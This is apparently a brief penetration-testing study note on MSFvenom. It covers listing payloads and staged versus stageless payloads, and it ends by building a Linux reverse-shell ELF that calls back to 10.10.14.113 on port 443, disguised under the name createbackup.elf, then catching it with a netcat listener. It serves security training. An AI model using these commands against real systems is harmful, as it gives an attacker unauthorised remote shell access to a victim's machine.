Practicing with MSFvenom

msfvenom -l payloads —→ To list all payloads

Payload naming convention almost always starts by listing the OS of the target (LinuxWindowsMacOSmainframe, etc...).

Staged vs. Stageless Payloads

https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/

Staged Payloads

Stageless Payloads

Building A Stageless Payload

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > createbackup.elf

NC Connection

sudo nc -lvnp 443